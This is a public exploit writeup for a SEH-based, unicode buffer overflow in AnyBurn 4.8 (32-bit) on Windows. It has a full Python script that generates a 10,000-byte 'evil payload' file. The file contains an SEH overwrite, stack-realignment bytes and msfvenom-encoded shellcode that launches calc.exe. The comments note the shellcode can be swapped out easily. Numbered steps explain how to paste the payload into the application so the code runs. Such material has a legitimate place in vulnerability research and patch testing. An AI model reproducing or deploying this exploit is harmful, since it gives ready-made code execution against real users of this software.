AnyBurn 4.8 – Buffer Overflow (SEH)
# Exploit Title: AnyBurn 4.8 - Buffer Overflow (SEH) # Date: 2020-03-09 # Vendor Homepage: http://www.anyburn.com/ # Software Link : http://www.anyburn.com/anyburn_setup.exe # Exploit Authors: "Richard Davy/Gary Nield" # Tested Version: 4.8 (32-bit) # Tested on: Windows 10 Enterprise x64 # Vulnerability Type: Buffer Overflow/SEH/Unicode # Steps to Produce the Exploit: # 1.- Run python code # 2.- Open payload.txt and copy content to clipboard # 3.- Open AnyBurn choose 'Copy disk to image file' # 4.- Paste the content of payload.txt into the field: 'Select image file name' # 5.- Click 'Create Now' and you will see a crash and the payload launch. #!/usr/bin/env python #Set overall payload size crash_buffer_size = 10000 #nseh offset for SEH overwrite nseh_offset = 9197 #location in payload where stack alignment returns to for payload payloadret = 4459 #payload filler junk = "\x71" * payloadret #Payload generated via msfvenom, easily changeable as padding is auto calculated #msfvenom -a x86 -p windows/exec cmd=calc.exe -e x86/unicode_upper BufferRegister=EAX -f py buf = b"" buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x51" buf += b"\x41\x54\x41\x58\x41\x5a\x41\x50\x55\x33\x51\x41\x44" buf += b"\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41" buf += b"\x51\x41\x49\x41\x51\x41\x50\x41\x35\x41\x41\x41\x50" buf += b"\x41\x5a\x31\x41\x49\x31\x41\x49\x41\x49\x41\x4a\x31" buf += b"\x31\x41\x49\x41\x49\x41\x58\x41\x35\x38\x41\x41\x50" buf += b"\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49" buf += b"\x41\x49\x51\x49\x31\x31\x31\x31\x41\x49\x41\x4a\x51" buf += b"\x49\x31\x41\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42" buf += b"\x41\x42\x33\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b" buf += b"\x4c\x5a\x48\x44\x42\x4d\x30\x4b\x50\x4b\x50\x43\x30" buf += b"\x44\x49\x49\x55\x50\x31\x49\x30\x43\x34\x54\x4b\x50" buf += b"\x50\x50\x30\x44\x4b\x42\x32\x4c\x4c\x54\x4b\x42\x32" buf += b"\x4c\x54\x34\x4b\x43\x42\x4d\x58\x4c\x4f\x46\x57\x4f" buf += b"\x5a\x4d\x56\x30\x31\x4b\x4f\x56\x4c\x4f\x4c\x33\x31" buf += b"\x43\x4c\x4c\x42\x4e\x4c\x4f\x30\x49\x31\x48\x4f\x4c" buf += b"\x4d\x4d\x31\x49\x37\x5a\x42\x4c\x32\x50\x52\x50\x57" buf += b"\x44\x4b\x30\x52\x4c\x50\x34\x4b\x50\x4a\x4f\x4c\x54" buf += b"\x4b\x50\x4c\x4c\x51\x54\x38\x5a\x43\x31\x38\x4b\x51" buf += b"\x48\x51\x32\x31\x44\x4b\x42\x39\x4d\x50\x4b\x51\x59" buf += b"\x43\x54\x4b\x51\x39\x4d\x48\x4b\x33\x4f\x4a\x4f\x59" buf += b"\x44\x4b\x30\x34\x44\x4b\x4d\x31\x5a\x36\x30\x31\x4b" buf += b"\x4f\x56\x4c\x57\x51\x58\x4f\x4c\x4d\x4b\x51\x39\x37" buf += b"\x4f\x48\x39\x50\x34\x35\x4b\x46\x4d\x33\x33\x4d\x4b" buf += b"\x48\x4f\x4b\x33\x4d\x4f\x34\x43\x45\x4b\x34\x42\x38" buf += b"\x44\x4b\x51\x48\x4e\x44\x4b\x51\x59\x43\x31\x56\x54" buf += b"\x4b\x4c\x4c\x30\x4b\x44\x4b\x50\x58\x4d\x4c\x4d\x31" buf += b"\x38\x53\x34\x4b\x4b\x54\x44\x4b\x4d\x31\x5a\x30\x53" buf += b"\x59\x51\x34\x4e\x44\x4d\x54\x51\x4b\x31\x4b\x43\x31" buf += b"\x52\x39\x51\x4a\x30\x51\x4b\x4f\x49\x50\x51\x4f\x51" buf += b"\x4f\x30\x5a\x34\x4b\x4c\x52\x4a\x4b\x34\x4d\x51\x4d" buf += b"\x31\x5a\x4b\x51\x34\x4d\x35\x35\x46\x52\x4b\x50\x4d" buf += b"\x30\x4b\x50\x30\x50\x51\x58\x4e\x51\x44\x4b\x42\x4f" buf += b"\x33\x57\x4b\x4f\x59\x45\x47\x4b\x5a\x50\x38\x35\x36" buf += b"\x42\x32\x36\x52\x48\x37\x36\x45\x45\x47\x4d\x45\x4d" buf += b"\x4b\x4f\x48\x55\x4f\x4c\x4d\x36\x53\x4c\x4c\x4a\x35" buf += b"\x30\x4b\x4b\x39\x50\x42\x55\x4c\x45\x57\x4b\x4f\x57" buf += b"\x4d\x43\x52\x52\x32\x4f\x42\x4a\x4d\x30\x42\x33\x4b" buf += b"\x4f\x4a\x35\x32\x43\x51\x51\x42\x4c\x52\x43\x4e\x4e" buf += b"\x53\x35\x42\x58\x52\x45\x4d\x30\x41\x41" #Filler padding after payload code to bring us to nseh offset #auto calculated in case payload size changes junk1 = "\x71" * int(nseh_offset-(len(junk)+len(buf))) #SEH Overwrite nSeh = "\x61\x70" #Unicode safe SEH return seh = "\x09\x48" #Stack realignment which takes us directly back into shellcode eax_align = "\x70\x71\x71\x71" eax_align += "\x54" eax_align += "\x47" eax_align += "\x58" eax_align += "\x47" eax_align += "\x05\x2F\x11" eax_align += "\x47" eax_align += "\x2d\x01\x11" eax_align += "\x47" eax_align += "\x50" eax_align += "\x47" eax_align += "\xc3" #Padding to take us to 10,000 padding = "\x71" * int(crash_buffer_size-(len(junk)+len(buf)+len(junk1)+len(nSeh)+len(seh)+len(eax_align))) #Assembly of parts buffer=junk+buf+junk1+nSeh+seh+eax_align+padding try: f=open("payload.txt","w") print "\nAnyBurn Version 4.8 (32-bit) Exploit\n" print "Software Link : http://www.anyburn.com/anyburn_setup.exe" print "Exploit Authors: Richard Davy/Gary Nield" print "Tested on: Windows 10 Enterprise x64" print "Vulnerability Type: Buffer Overflow/SEH/Unicode\n" print "Steps to Produce the Exploit:" print "1.- Run python code" print "2.- Open payload.txt and copy content to clipboard" print "3.- Open AnyBurn choose 'Copy disk to image file'" print "4.- Paste the content of payload.txt into the field: 'Select image file name'" print "5.- Click 'Create Now' and you will see a crash and the payload launch.\n" print "[+] Creating %s bytes evil payload " %len(buffer) f.write(buffer) f.close() print "[+] File payload.txt created..." except: print "[!] File cannot be created..." |